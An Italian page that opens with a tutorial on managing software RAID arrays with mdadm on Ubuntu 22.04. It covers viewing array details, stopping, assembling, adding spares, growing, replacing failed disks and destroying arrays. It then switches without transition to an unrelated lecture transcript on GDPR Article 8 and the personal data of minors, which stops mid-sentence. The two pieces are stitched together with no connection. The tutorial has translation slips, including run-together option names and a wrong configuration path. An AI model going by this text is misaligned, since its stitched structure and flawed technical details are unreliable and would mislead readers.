Come gestire array RAID

Come gestire gli array RAID con mdadm su Ubuntu 22.04

Gli array RAID forniscono prestazioni e ridondanza migliorate combinando singoli dischi in dispositivi di archiviazione virtuali in configurazioni specifiche. In Linux, l’utility mdadmcrea e gestisce array RAID software.

In questa guida eseguirai diverse configurazioni RAID che possono essere configurate utilizzando un server Ubuntu 22.04.

Per seguire questa guida, avrai bisogno dell’accesso a un utente non-root sudo.

Come accennato, questa guida riguarderà la gestione dell’array RAID. Segui la guida su come creare array RAID con mdadmsu Ubuntu 22.04 per creare uno o più array prima di continuare a leggere. Questa guida presuppone che tu abbia uno o più array su cui operare.

Uno dei requisiti più essenziali per una corretta gestione è la capacità di reperire informazioni sulla struttura, sui dispositivi che lo compongono e sullo stato attuale dell’array.

Per informazioni dettagliate su un dispositivo RAID, passare il dispositivo RAID con l’opzione -Do --detaila mdadm:

sudo mdadm -D /dev/md0

Verranno visualizzate informazioni importanti sull’array:

Output/dev/md0:
           Version : 1.2
     Creation Time : Thu Sep 29 17:07:10 2022
        Raid Level : raid10
        Array Size : 209582080 (199.87 GiB 214.61 GB)
     Used Dev Size : 104791040 (99.94 GiB 107.31 GB)
      Raid Devices : 4
     Total Devices : 4
       Persistence : Superblock is persistent

       Update Time : Thu Sep 29 17:08:24 2022
             State : clean, resyncing
    Active Devices : 4
   Working Devices : 4
    Failed Devices : 0
     Spare Devices : 0

            Layout : near=2
        Chunk Size : 512K

Consistency Policy : resync

              Name : raid2:0  (local to host raid2)
              UUID : 8069bcc7:72e7b49f:fba1c780:560a85e0
            Events : 35

    Number   Major   Minor   RaidDevice State
       0       8        0        0      active sync set-A   /dev/sda
       1       8       16        1      active sync set-B   /dev/sdb
       2       8       32        2      active sync set-A   /dev/sdc
       3       8       48        3      active sync set-B   /dev/sdd

L’output rivela il livello RAID, la dimensione dell’array, lo stato dei singoli pezzi, il file UUIDdell’array, i dispositivi componenti e i loro ruoli.

Per i dettagli abbreviati di un array, adatti per l’aggiunta al file /dev/mdadm/mdadm.conf, puoi passare il flag --briefO -bcon la vista dettagliata:

sudo mdadm -Db /dev/md0

Output
/dev/md0: 199.88GiB raid10 4 devices, 0 spares. Use mdadm --detail for more detail.

Questo può essere utilizzato per trovare a colpo d’occhio le informazioni chiave su un dispositivo RAID.

Ottenere informazioni sui dispositivi componenti

Puoi anche usare mdadmper interrogare i singoli dispositivi componenti.

L’opzione -Q, se utilizzata con un dispositivo componente, ti dirà l’array di cui fa parte e il suo ruolo:

sudo mdadm -Q /dev/sdc

Output
/dev/sdc: is not an md array
/dev/sdc: device 2 in 4 device active raid10 /dev/md0.  Use mdadm --examine for more detail.

È possibile ottenere informazioni più dettagliate utilizzando le opzioni -Eo --examine:

sudo mdadm -E /dev/sdc

Output
/dev/sdc:
          Magic : a92b4efc
        Version : 1.2
    Feature Map : 0x0
     Array UUID : 8069bcc7:72e7b49f:fba1c780:560a85e0
           Name : RAID2204:0  (local to host RAID2204)
  Creation Time : Wed Oct  5 15:56:03 2022
     Raid Level : raid10
   Raid Devices : 4

 Avail Dev Size : 209582080 sectors (99.94 GiB 107.31 GB)
     Array Size : 209582080 KiB (199.87 GiB 214.61 GB)
    Data Offset : 133120 sectors
   Super Offset : 8 sectors
   Unused Space : before=132968 sectors, after=0 sectors
          State : clean
    Device UUID : 027f74c5:6d488509:64844c7a:add75d88

    Update Time : Wed Oct  5 16:13:57 2022
  Bad Block Log : 512 entries available at offset 136 sectors
       Checksum : 98edf3ae - correct
         Events : 35

         Layout : near=2
     Chunk Size : 512K

   Device Role : Active device 2
   Array State : AAAA ('A' == active, '.' == missing, 'R' == replacing)

Queste informazioni sono simili a quelle visualizzate quando si utilizza l’opzione -Dcon il dispositivo dell’array, ma focalizzata sulla relazione del dispositivo componente con l’array.

Leggere le informazioni su /proc/mdstat

Per informazioni dettagliate su ciascuno degli array assemblati sul tuo server, controlla il file /proc/mdstat. Questo è spesso il modo migliore per trovare lo stato corrente degli array attivi sul tuo sistema:

cat /proc/mdstat

Output
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid10 sdd[3] sdc[2] sdb[1] sda[0]
      209584128 blocks super 1.2 512K chunks 2 near-copies [4/4] [UUUU]
      
unused devices: <none>

L’output qui è piuttosto denso e fornisce molte informazioni in una piccola quantità di spazio:

Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
. . .

La riga Personalitiesdescrive i diversi livelli RAID e le configurazioni attualmente supportate dal kernel.

La riga che inizia con md0descrive l’inizio della descrizione di un dispositivo RAID. Le righe rientrate che seguono descrivono anche questo dispositivo:

. . .
md0 : active raid10 sdd[3] sdc[2] sdb[1] sda[0]
. . .

La prima riga indica che l’array è attivo, non difettoso e configurato come RAID 10. Successivamente vengono elencati i dispositivi componenti utilizzati per costruire l’array. I numeri tra parentesi descrivono il ruolo attuale del dispositivo nell’array. Ciò influisce su quali copie dei dati vengono fornite al dispositivo.

. . .
      209584128 blocks super 1.2 512K chunks 2 near-copies [4/4] [UUUU]
. . .

La seconda riga visualizzata in questo esempio fornisce il numero di blocchi forniti dai dispositivi virtuali, la versione dei metadati (1.2 in questo esempio) e la dimensione del blocco dell’array. Poiché si tratta di un array RAID 10, include anche informazioni sul layout dell’array. In questo esempio, è stato configurato per memorizzare due copie di ogni blocco di dati nel layout near.

Gli ultimi elementi tra parentesi quadre rappresentano entrambi i dispositivi attualmente disponibili di un set integro. Il primo numero tra parentesi numeriche indica la dimensione di un array integro mentre il secondo numero rappresenta il numero di dispositivi attualmente disponibili. Le altre parentesi sono un’indicazione visiva dello stato dell’array, con Uche rappresentano dispositivi sani e _che rappresentano dispositivi difettosi.

Se il tuo array è attualmente in fase di assemblaggio o ripristino, potresti avere un’altra riga che mostra l’avanzamento:

. . .
      [>....................]  resync =  0.9% (2032768/209584128) finish=15.3min speed=225863K/sec
. . .

Descrive l’operazione applicata e lo stato di avanzamento attuale in diversi modi. Fornisce inoltre la velocità attuale e un tempo stimato fino al completamento.

Una volta che ti sei fatto un’idea di quali array sono attualmente in esecuzione sul tuo sistema, puoi intraprendere una serie di azioni.

Per arrestare un array, il primo passo è smontarlo.

Esci dalla directory montata con il comando cd ~:

cd ~

Quindi smonta il dispositivo:

sudo umount /mnt/md0

Puoi interrompere tutti gli array attivi eseguendo:

sudo mdadm --stop --scan

Se vuoi fermare un array specifico, passalo al comando mdadm --stop:

sudo mdadm --stop /dev/md0

Questo fermerà l’array. Dovrai riassemblare l’array per accedervi nuovamente.

Per avviare tutti gli array definiti nei file di configurazione o /proc/mdstat, esegui quanto segue:

sudo mdadm --assemble --scan

Per avviare un array specifico, puoi passarlo come argomento a mdadm --assemble:

sudo mdadm --assemble /dev/md0

Funziona se l’array è definito nel file di configurazione.

Se nel file di configurazione manca la definizione corretta dell’array, l’array può comunque essere avviato passando i dispositivi componenti:

sudo mdadm --assemble /dev/md0 /dev/sda /dev/sdb /dev/sdc /dev/sdd

Una volta assemblato l’array, è possibile montarlo come al solito:

sudo mount /dev/md0 /mnt/md0

È possibile aggiungere dispositivi di riserva a qualsiasi array che offra ridondanza, come RAID 1, 5, 6 o 10. I dispositivi di riserva non verranno utilizzati attivamente dall’array a meno che un dispositivo attivo non si guasti. Quando ciò accade, l’array risincronizzerà i dati sull’unità di riserva per ripristinare l’integrità dell’array. Non è possibile aggiungere ricambi agli array non ridondanti (RAID 0) poiché l’array non sopravvivrà al guasto di un’unità.

Per aggiungere un dispositivo di riserva, passare l’array e il nuovo dispositivo al comando mdadm --add:

sudo mdadm /dev/md0 --add /dev/sde

Se l’array non è in uno stato degradato, il nuovo dispositivo verrà aggiunto come riserva. Se il dispositivo è attualmente danneggiato, inizierà immediatamente l’operazione di risincronizzazione utilizzando l’unità di riserva per sostituire l’unità difettosa.

Dopo aver aggiunto un ricambio, aggiorna il file di configurazione per riflettere il nuovo orientamento del dispositivo:

sudo nano /etc/mdadm/mdadm.conf

Rimuovi o commenta la riga corrente che corrisponde alla definizione dell’array:

. . .
# ARRAY /dev/md0 metadata=1.2 name=mdadmwrite:0 UUID=d81c843b:4d96d9fc:5f3f499c:6ee99294

Successivamente, aggiungi la configurazione corrente:

sudo mdadm --detail --brief /dev/md0 | sudo tee -a /etc/mdadm/mdadm.conf

Le nuove informazioni verranno utilizzate dall’utility mdadmper assemblare l’array.

È possibile espandere un array aumentando il numero di dispositivi attivi all’interno dell’assieme. La procedura esatta dipende leggermente dal livello RAID che stai utilizzando.

Con RAID 1 o 10

Inizia aggiungendo il nuovo dispositivo come riserva, come dimostrato nell’ultima sezione:

sudo mdadm /dev/md0 --add /dev/sde

Scopri il numero attuale di dispositivi RAID nell’array:

sudo mdadm --detail /dev/md0

Output
/dev/md0:
        Version : 1.2
  Creation Time : Wed Aug 10 15:29:26 2016
     Raid Level : raid1
     Array Size : 104792064 (99.94 GiB 107.31 GB)
  Used Dev Size : 104792064 (99.94 GiB 107.31 GB)
   Raid Devices : 2
  Total Devices : 3
    Persistence : Superblock is persistent

    . . .

In questo esempio, l’array è configurato per utilizzare attivamente due dispositivi. Rivela, tuttavia, che il numero totale di dispositivi disponibili nell’array è tre a causa della riserva.

Ora riconfigura l’array per avere un dispositivo attivo aggiuntivo. La riserva verrà utilizzata per soddisfare i requisiti di drive extra. Ricorda di sostituire il numero di destinazione dei dispositivi RAID in questo comando. Qui stiamo aumentando il RAID 1 con 2 dispositivi a 3. Se sei nel RAID 10 con 4 dispositivi e hai l’unità aggiuntiva, aumentala a 5:

sudo mdadm --grow --raid-devices=3 /dev/md0

L’array inizierà a riconfigurarsi con un disco attivo aggiuntivo. Per visualizzare l’avanzamento della sincronizzazione dei dati, eseguire quanto segue:

cat /proc/mdstat

Puoi continuare a utilizzare il dispositivo una volta completato il processo.

Con RAID 5 o 6

Inizia aggiungendo il nuovo dispositivo come ricambio come dimostrato nell’ultima sezione:

sudo mdadm /dev/md0 --add /dev/sde

Scopri il numero attuale di dispositivi RAID nell’array:

sudo mdadm --detail /dev/md0

Output
/dev/md0:
        Version : 1.2
  Creation Time : Wed Oct 5 18:38:51 2022
     Raid Level : raid5
     Array Size : 209584128 (199.88 GiB 214.61 GB)
  Used Dev Size : 104792064 (99.94 GiB 107.31 GB)
   Raid Devices : 3
  Total Devices : 4
    Persistence : Superblock is persistent

    . . .

In questo esempio, l’array è configurato per utilizzare attivamente tre dispositivi e il numero totale di dispositivi disponibili nell’array è quattro a causa del dispositivo di riserva aggiunto.

Ora riconfigura l’array per avere un dispositivo attivo aggiuntivo. La riserva verrà utilizzata per soddisfare i requisiti di drive extra. Quando si espande un array RAID 5 o RAID 6, è importante includere un’opzione aggiuntiva denominata --backup-file. Ciò indicherà una posizione fuori dall’array in cui verrà archiviato un file di backup contenente informazioni critiche:

sudo mdadm --grow --raid-devices=4 --backup-file=/root/md0_grow.bak /dev/md0

Il seguente output indica che verrà eseguito il backup della sezione critica:

Output
mdadm: Need to backup 3072K of critical section..

L’array inizierà a riconfigurarsi con un disco attivo aggiuntivo. Per visualizzare l’avanzamento della sincronizzazione dei dati, eseguire:

cat /proc/mdstat

Puoi continuare a utilizzare il dispositivo una volta completato questo processo.

Una volta completata la rimodellazione, dovrai espandere il filesystem sull’array per utilizzare lo spazio aggiuntivo:

sudo resize2fs /dev/md0

Il tuo array avrà ora un filesystem che corrisponde alla sua capacità.

Con RAID 0

Gli array RAID 0 non possono avere unità di riserva perché non esiste alcuna possibilità per una riserva di ricostruire un array RAID 0 danneggiato. È necessario aggiungere il nuovo dispositivo contemporaneamente all’espansione dell’array.

Innanzitutto, scopri il numero corrente di dispositivi RAID nell’array:

sudo mdadm --detail /dev/md0

Output
/dev/md0:
        Version : 1.2
  Creation Time : Wed Aug 10 19:17:14 2020
     Raid Level : raid0
     Array Size : 209584128 (199.88 GiB 214.61 GB)
   Raid Devices : 2
  Total Devices : 2
    Persistence : Superblock is persistent

    . . .

Ora puoi incrementare il numero di dispositivi RAID nella stessa operazione di aggiunta della nuova unità:

sudo mdadm --grow /dev/md0 --raid-devices=3 --add /dev/sdc

Riceverai un output che indica che l’array è stato modificato in RAID 4:

Output
mdadm: level of /dev/md0 changed to raid4
mdadm: added /dev/sdc

Questo è normale e previsto. L’array tornerà al RAID 0 quando i dati saranno stati ridistribuiti su tutti i dischi esistenti.

Puoi controllare lo stato di avanzamento dell’azione:

cat /proc/mdstat

Una volta completata la sincronizzazione, ridimensiona il filesystem per utilizzare lo spazio aggiuntivo:

sudo resize2fs /dev/md0

Il tuo array avrà ora un filesystem che corrisponde alla sua capacità.

Talvolta è necessario rimuovere un’unità da un array RAID in caso di guasto o se è necessario sostituire il disco.

Per poter rimuovere un dispositivo, è necessario prima contrassegnarlo come “guasto” all’interno dell’array. Puoi verificare se è presente un dispositivo guasto utilizzando mdadm --detail:

sudo mdadm --detail /dev/md0

Output
/dev/md0:
        Version : 1.2
  Creation Time : Wed Aug 10 21:42:12 2020
     Raid Level : raid5
     Array Size : 209584128 (199.88 GiB 214.61 GB)
  Used Dev Size : 104792064 (99.94 GiB 107.31 GB)
   Raid Devices : 3
  Total Devices : 3
    Persistence : Superblock is persistent

    Update Time : Thu Aug 11 14:10:43 2020
          State : clean, degraded 
 Active Devices : 2
Working Devices : 2
 Failed Devices : 1
  Spare Devices : 0

         Layout : left-symmetric
     Chunk Size : 64K

           Name : mdadmwrite:0  (local to host mdadmwrite)
           UUID : bf7a711b:b3aa9440:40d2c12e:79824706
         Events : 144

    Number   Major   Minor   RaidDevice State
       0       0        0        0      removed
       1       8        0        1      active sync   /dev/sda
       2       8       16        2      active sync   /dev/sdb
       0       8       32        -      faulty   /dev/sdc

Tutte le linee evidenziate indicano che un’unità non funziona più. Come esempio, /dev/sdcin questo output rivela che l’unità è difettosa.

Se è necessario rimuovere un’unità che non presenta problemi, è possibile contrassegnarla manualmente come guasta con l’opzione--fail:

sudo mdadm /dev/md0 --fail /dev/sdc

Output
mdadm: set /dev/sdc faulty in /dev/md0

È quindi possibile sostituirlo con una nuova unità, utilizzando lo stesso comando mdadm --addche usi per aggiungere un ricambio:

sudo mdadm /dev/md0 --add /dev/sdd

Output
mdadm: added /dev/sdd

L’array inizierà il ripristino copiando i dati sulla nuova unità.

Per distruggere un array, compresi tutti i dati in esso contenuti, iniziare seguendo il processo utilizzato per arrestare un array.

Esci dalla directory montata con il seguente comando:

cd ~

Quindi smonta il filesystem:

sudo umount /mnt/md0

Quindi, interrompi l’array:

sudo mdadm --stop /dev/md0

Successivamente, elimina l’array stesso con il comando --removedestinato al dispositivo RAID:

sudo mdadm --remove /dev/md0

Una volta rimosso l’array stesso, utilizzare mdadm --zero-superblocksu ciascuno dei dispositivi componenti. Questo cancellerà il superblocco md, un’intestazione utilizzata da mdadmper assemblare e gestire i dispositivi componenti come parte di un array. Se è ancora presente, potrebbe causare problemi quando si tenta di riutilizzare il disco per altri scopi.

Controlla la colonna FSTYPE nell’output lsblk --fsper confermare che il superblocco è presente nell’array:

lsblk --fs

Output
NAME    FSTYPE            LABEL        UUID                                 MOUNTPOINT
…
sda     linux_raid_member mdadmwrite:0 bf7a711b-b3aa-9440-40d2-c12e79824706 
sdb     linux_raid_member mdadmwrite:0 bf7a711b-b3aa-9440-40d2-c12e79824706 
sdc     linux_raid_member mdadmwrite:0 bf7a711b-b3aa-9440-40d2-c12e79824706 
sdd                                                                         
vda                                                                         
├─vda1  ext4              DOROOT       4f8b85db-8c11-422b-83c4-c74195f67b91 /
└─vda15

In questo esempio, /dev/sda, /dev/sdb e /dev/sdcfacevano tutti parte dell’array e sono ancora etichettati come tali.

Rimuovere le etichette con il seguente comando:

sudo mdadm --zero-superblock /dev/sda /dev/sdb /dev/sdc

Successivamente, assicurati di rimuovere o commentare qualsiasi riferimento all’array nel file /etc/fstab. Puoi farlo aggiungendo il simbolo dell’hashtag #all’inizio:

sudo nano /etc/fstab

. . .
# /dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0

Salva e chiudi il file quando hai finito.

Rimuovere o commentare eventuali riferimenti all’array anche dal file /etc/mdadm/mdadm.conf:

nano /etc/mdadm/mdadm.conf

# ARRAY /dev/md0 metadata=1.2 name=mdadmwrite:0 UUID=bf7a711b:b3aa9440:40d2c12e:79824706

Salva e chiudi il file quando hai finito.

Quindi aggiorna l’initramfs:

sudo update-initramfs -u

Ciò rimuoverà il dispositivo dall’ambiente di avvio iniziale.

Diritto dei dati – I dati personali dei minori

Minori e privacy. Età del consenso digitale e liceità del trattamento, identità personale, intervento dell’esercente la responsabilità genitoriale. Riferimenti a casi giurisprudenziali.

L’articolo 8 del GDPR riguarda il tema dei dati personali dei minori. Quindi facciamo un focus proprio sui minori di età, i soggetti under 18. È un tema che da alcuni punti di vista può sembrare ovvio, il fatto che si parli di dati personali di minori di età, ma in realtà è una cosa relativamente nuova perché prima del GDPR non era previsto nulla che riguardasse in modo specifico il modo in cui si trattano i dati personali dei minori. È una novità del GDPR, a cui poi ha fatto seguito ovviamente il coordinamento da parte del legislatore italiano con il decreto legislativo 101 del 2018. Però è anche un tema abbastanza nuovo per motivi diversi. Sicuramente quello più immediato è il contesto storico di riferimento di questa normativa, normativa del 2016. Però ovviamente la specifica attenzione ai minori è data dal fatto che negli ultimi anni, nell’ultimo decennio, i minori di età hanno una possibilità di accedere a strumenti, computer, telefoni, tablet e così via, che permettono di trattare direttamente i loro dati personali. Quindi l’esigenza di tutela specifica del minore non più in generale come soggetto da tutelare al pari anche dell’adulto, ma come soggetto da tutelare in modo più specifico e più dettagliato perché proprio per le vulnerabilità che caratterizzano la minore età è necessario apprestare degli strumenti di tutela ad hoc, proprio perché non si può paragonare il minore all’adulto rispetto a quella che è la consapevolezza dell’utilizzo degli strumenti digitali, proprio perché nel nostro ordinamento c’è un’attenzione rispetto al minore in quanto tale, in quanto soggetto che deve godere di una tutela specifica anche dal punto di vista del trattamento dei dati personali. Quindi in qualche modo abbiamo un passaggio dovuto proprio all’utilizzo di quelli che vengono chiamati i nuovi media. Quindi se rispetto al passato, se rispetto al momento storico si tutelava la riservatezza in quanto tale e quindi anche la riservatezza del minore veniva tutelata di fronte all’utilizzo delle figure, riferimenti delle figure dei minori rispetto a quello che poteva essere diffuso sui giornali o in televisione, l’utilizzo dei nuovi media e cioè di tutte quelle tecnologie che utilizzano i dati personali, ha richiesto questa attenzione in più. La logica quando noi parliamo di minori di età è sempre quella di dover prestare attenzione, la massima attenzione al processo di formazione dell’identità personale, mentre per un adulto questa formazione può dirsi conclusa o comunque si può continuare a realizzare in delle modalità che sicuramente sono più consapevoli, il minore è per antonomasia il soggetto la cui identità personale è in divenire, è informazione, è infatti un processo, parliamo di formazione, di costruzione dell’identità personale e il punto di vista che si adotta è che l’utilizzo degli strumenti digitali che i minori utilizzano sia ormai talmente diffuso nella quotidianità del minore che lo può utilizzare per svago, per studio. Pensiamo anche ai tempi pandemici a come il minore più che in altre in altre occasioni era perennemente di fronte ad uno schermo, questo utilizzo sempre più diffuso, pensiamo anche a quanto sempre di più i minori utilizzino gli strumenti tecnologici anche dei genitori o pensiamo a tutti gli strumenti che sono proprio nelle case, tutta una serie di strumenti dell’Internet of Things, tutta una serie di strumenti che i minori hanno a disposizione in modo semplicissimo. Però interagendo con tutti questi strumenti, inevitabilmente, l’utilizzo degli strumenti che sono connessi alla rete e quello che poi è il modo in cui i dati vengono trattati e quindi le risposte che la rete da al minore stesso che la utilizza sono tali da essere in grado di incidere sulla formazione dell’identità personale. Proprio rispetto a questo elemento è necessario prestare delle tutele nuove, un’attenzione nuova. Il tema dell’attenzione alla privacy in senso ampio del minore, comunque, non è completamente nuovo. Perché di privacy del minore si inizia a parlare addirittura nell’89, quindi in tempi abbastanza risalenti, ben prima della diffusione della rete per come la conosciamo oggi, però la Convenzione di New York che è la Convenzione sui diritti del fanciullo del 1989, poi ratificata in Italia nel 91, più o meno in quello stesso periodo, prevede che il minore debba essere tutelato da qualsiasi interferenza arbitraria o illegale nella sua vita privata, nella sua famiglia, nella sua corrispondenza, in generale, nella sua privacy. Ricordiamoci che anni 80, anni 90 siamo ancora in una concezione di privacy come riservatezza, principalmente. Quindi il riconoscimento di questa tutela da qualsiasi interferenza arbitraria o illegale, quindi qualsiasi tipo di intromissione dall’esterno che può incidere appunto sulla sua vita privata, sulla sua famiglia, sul suo domicilio, sulla sua corrispondenza e addirittura va oltre perché dice e neppure di affronti illegali contro il suo onore e la sua reputazione, quindi in tutte le varie sfaccettature della riservatezza che abbiamo già descritto, e questa è la disposizione dell’articolo 16 della Convenzione di New York. In più, l’articolo 17, non parlando della riservatezza, però dice che il minore deve essere garantito, il fanciullo anzi dice la convenzione, deve essere garantito rispetto all’accesso ai media e alle tecnologie. Quindi vediamo come pure in un tempo in cui ancora non si parlava di privacy come trattamento dei dati personali distinto dalla riservatezza, abbiamo un’attenzione particolare nei confronti del minore: da un lato dal punto di vista della tutela della sua sfera più intima, dall’altro si cerca di incentivare l’accesso dei minori, dei fanciulli verso l’utilizzo delle tecnologie, del tipo di tecnologie che si potevano creare anche in prospettiva futura. E quindi questa doppia anima da un lato di tutela particolarmente mirata verso la riservatezza, dall’altro questo riconoscimento del minore come soggetto che deve poter accedere alle tecnologie perché è qualcosa che sicuramente può essere utile ai fini del suo sviluppo ai fini della sua crescita. Quindi in qualche modo viene veicolata dalla Convenzione di New York dell’89 un’immagine abbastanza moderna del minore come soggetto che poteva incidere sul proprio processo educativo, formativo, proprio anche attraverso l’utilizzo delle delle tecnologie.

Da un punto di vista di diritto interno, in realtà di privacy del minore non abbiamo per lungo tempo nessun tipo di riferimento. Un riferimento era però presente già nel codice di procedura penale: in particolare l’articolo 114 del codice di procedura penale, in forza del quale si tutelava il minore attraverso un divieto di pubblicazione delle sue generalità e delle sue immagini. Quelli che oggi chiamiamo dati perché sicuramente le generalità di una persona o l’immagine di una persona rientrano nella nozione di dati. Quindi il divieto di pubblicare informazioni come generalità e immagini che ritraessero dei minori che fossero coinvolti in senso ampio da un procedimento di fronte all’autorità giudiziaria penale e quindi che fossero testimoni, persone offese, danneggiati dal reato, insomma qualsiasi tipo di situazione attorno alla quale potesse posizionarsi la figura di un minore rispetto ad un procedimento penale, quanto meno fino al momento in cui non avessero raggiunto questi minori la maggiore età. Quindi una tutela di fronte a insomma alla circolazione delle notizie riferite a determinati procedimenti penali che coinvolgessero dei minori. In un secondo momento il codice della privacy, quindi siamo nel 2003, estende questa stessa tutela che il codice di procedura penale prevedeva rispetto ai procedimenti penali, a qualsiasi altro procedimento di fronte all’autorità giudiziaria. Quindi a livello proprio di riservatezza del minore si ha questa particolare attenzione. Attenzione che tra l’altro era prevista anche all’interno dei codici deontologici di alcune categorie professionali, in particolare il Codice deontologico dell’attività giornalistica che è molto legato ovviamente ai temi dei procedimenti giudiziari. E nel codice deontologico dell’attività giornalistica che è del 96, già si faceva riferimento in particolare all’articolo 7, al fatto che il giornalista, dal punto di vista deontologico, non dovesse procedere alla pubblicazione dei nomi dei minori coinvolti in fatti di cronaca e comunque non soltanto i nomi, qualsiasi tipo di informazione che potesse permettere poi di ricondurre alla sua identificazione. Perché la logica che viene sancita, il principio che viene sancito in questo codice deontologico dell’attività giornalistica è che la riservatezza del minore deve essere tutelata anche quando ci sono delle ragioni che giustificano il diritto di cronaca. Quindi quando si svolge attività di cronaca, attività di critica, comunque bisogna prestare la massima attenzione al minore. Ovviamente tutte queste cose poi sono sì previste nel codice, però poi sono oggetto delle pronunce giurisprudenziali della Cassazione. La Suprema Corte ad esempio nel 2013 si esprime espressamente nel senso di richiedere che nell’ambito dell’attività giornalistica sia doveroso evitare qualsiasi riferimento che possa ledere la riservatezza dei minori. Quindi proprio questa attenzione che anche ovviamente a livello di giurisprudenza si ha sempre rispetto a queste categorie più vulnerabili di soggetti che appunto anche quando si esercita il diritto di cronaca, il diritto di critica è sempre necessario che siano destinatari di una specifica attenzione. A tutto ciò ovviamente non sta attenta soltanto la giurisprudenza ma anche il Garante privacy, in particolare con tutta una serie di provvedimenti, ne riporto uno del 2001, quindi in un tempo anche precedente al Codice della privacy ma successivo al Codice deontologico dell’attività giornalistica del 96, perché proprio già nel 2001, quindi in tempi non sospetti rispetto all’utilizzo, al riconoscimento del diritto alla protezione dei dati personali, comunque si faceva riferimento al diritto alla riservatezza dei minori anche di fronte alle notizie o a fatti di cronaca riportati che riguardano personaggi noti. Quindi anche prima della Cassazione, già il Garante riconosceva l’assoluta necessità di fare attenzione a tutelare i figli anche rispetto a fatti che riguardano soggetti noti nel caso di specie era figlio di un di un parlamentare, perché in tutti questi casi non si deve per far valere il diritto di critica, il diritto di cronaca, non si deve mai perciò affievolire quello che è il diritto alla privacy dei soggetti che sono coinvolti, a maggior ragione appunto se i soggetti in questione sono dei minori. Insomma, già prima del GDPR, per quanto non si facesse riferimento esplicito alla tutela di minori nel trattamento di dati personali, comunque si faceva particolare attenzione a garantire che il minore non subisse delle interferenze idonee ad incidere negativamente, ad impattare negativamente sulla formazione della sua identità personale.

Passiamo quindi al GDPR. Già nei considerando del GDPR sono presenti una serie di riferimenti espliciti ai minori. In particolare, la logica che seguono i considerando è che quando si ha di fronte al trattamento dei dati personali dei minori di età, è necessario rendersi conto che si è di fronte ad un soggetto che è meno consapevole del significato della portata che il trattamento dei suoi dati può avere e dei rischi che quindi ciò può comportare, quindi è necessario prestare attenzione alla sua personalità. Il considerando 38, ad esempio, dice espressamente che i minori meritano una specifica protezione perché sono meno consapevoli dei rischi di Internet. Devono essere particolarmente tutelati da misure di salvaguardia che permettano l’esercizio dei loro diritti di fronte a qualsiasi attività di trattamento dei loro dati personali. In particolare si richiede attenzione di fronte a tutte quelle attività di trattamento dei dati personali che hanno finalità di marketing, oppure che svolgono attività di profilazione del minore, perché ovviamente profilare il minore al fine di rivolgergli, per esempio, delle determinate pubblicità mirate e personalizzate rispetto alle sue preferenze può incidere effettivamente sulla sua sfera giuridica soggettiva e quindi è necessaria una specifica attenzione. Ancora, il considerando 65 fa riferimento all’esercizio del diritto all’oblio e dedica un passaggio anche al minore perché addirittura: dice che il diritto all’oblio è particolarmente fondamentale che sia riconosciuto nei confronti del minore nel momento in cui acquista l’età del consenso digitale, perché potrebbe volerlo esercitare rispetto ad un consenso al trattamento dei dati personali prestato quando era al di sotto della soglia dell’età del consenso digitale e quindi era meno consapevole, sotto quell’età, e quindi una volta che compie l’età del consenso digitale deve riconfermare il consenso già prestato e altrimenti esercitare il diritto all’oblio rispetto ai dati che erano stati trattati, aveva consentito che venissero trattati prima del compimento dell’età per il consenso digitale. Ancora un altro considerando è il considerando 58 che fa riferimento in generale al principio di trasparenza e che quando descrive il principio di trasparenza dice rispetto ai minori è necessaria una particolare protezione, una protezione specifica, perché il minore è meno consapevole e quindi deve ricevere delle informazioni che riguardano il trattamento, che devono essere elaborate in un linguaggio particolarmente chiaro, particolarmente semplice, proprio perché devono essere dei termini che anche il minore possa facilmente comprendere. Insomma già nei considerando troviamo delle linee di attenzione alla figura del minore rispetto all’adulto. Poi vi è la norma che è espressamente dedicata al minore, è la norma di cui all’articolo 8. Già nella rubrica dell’articolo 8 del GDPR, la rubrica è il titolo della norma, dice: condizioni applicabili al consenso dei minori in relazione ai servizi della società dell’informazione. E poi ci sono i tre paragrafi dell’articolo 8 che ci descrivono la disciplina. Innanzitutto si fa riferimento appunto nella rubrica ai servizi della società dell’informazione. Diciamo che la definizione di servizi della società dell’informazione è contenuta in una direttiva del 2015, la 1535 del 2015 dice che i servizi della società dell’informazione sono tutti i servizi prestati a distanza, normalmente dietro una retribuzione e per via elettronica nei confronti di un destinatario dei servizi stessi. Diciamo che in generale sono un po’ tutte le attività che vengono svolte in rete che possono consentire l’accesso alle informazioni o ad attività di comunicazione. Quindi sono servizi della società dell’informazione: la posta elettronica, i social network, le banche dati, le newsletter. Vediamo quindi la norma perché si fa riferimento alle condizioni applicabili al loro consenso. Quindi, innanzitutto parliamo del consenso dei minori. Infatti il paragrafo 1 dice qualora si applichi l’articolo 6, paragrafo 1, lettera a, che è la condizione di liceità del trattamento che si fonda sulla prestazione del consenso. Quindi, innanzitutto, rispetto al minore è fondamentale che ci sia il suo consenso alla luce delle precisazioni che vengono fatte in questo articolo. Allora sempre il paragrafo 1 fa riferimento all’offerta diretta dei servizi della società dell’informazione. Questo riferimento all’offerta diretta vuol dire che la disciplina dell’articolo 8 non si applica a tutti i servizi della società dell’informazione, ma si applica soltanto a quelli che sono offerti in modo diretto ai minori. Quindi se sono il titolare di un trattamento ed esplicito che il servizio che offro è rivolto soltanto ai maggiorenni, allora non sono tenuto ad applicare le regole di quell’articolo 8. Ovviamente nella misura in cui, pur se io lo dovessi esplicitare, questa esplicitazione non venga poi smentita da altri elementi. Per esempio, il fatto che sia un tipo di servizio che per il contenuto che ha è evidente che verrà utilizzato anche da dei minori. Il problema è che il GDPR non ci dà delle precisazioni rispetto a come individuare quali siano gli elementi che possono smentire il fatto che il servizio sia offerto soltanto ai maggiorenni. Da questo punto di vista, quindi, possiamo fare riferimento un po’ al dato comparatistico, possiamo guardare all’esperienza statunitense che è un’esperienza in cui invece vengono espressamente delineati alcuni fattori, alcuni esempi, che sono utili a capire quando un certo servizio sia destinato o meno ai minori di età. E in particolare guardiamo alla disciplina in materia statunitense che è facile ricordare con l’acronimo COPPA che sta per Children’s Online Privacy Protection Act, che è la disciplina statunitense sulla privacy dei minori e che descrive una serie di fattori che ci permettono di capire se il servizio è offerto in modo diretto ai minori o meno, a prescindere appunto da quello che poi il titolare possa sostenere. E questi fattori sono per esempio il contenuto del sito, il tipo di attività che viene svolta su quel sito e il tipo di contenuti che sono fruibili su un certo sito, contenuti audio o contenuti visivi o il fatto che ci siano delle pubblicità che sono rivolte ad un target di bambini o comunque 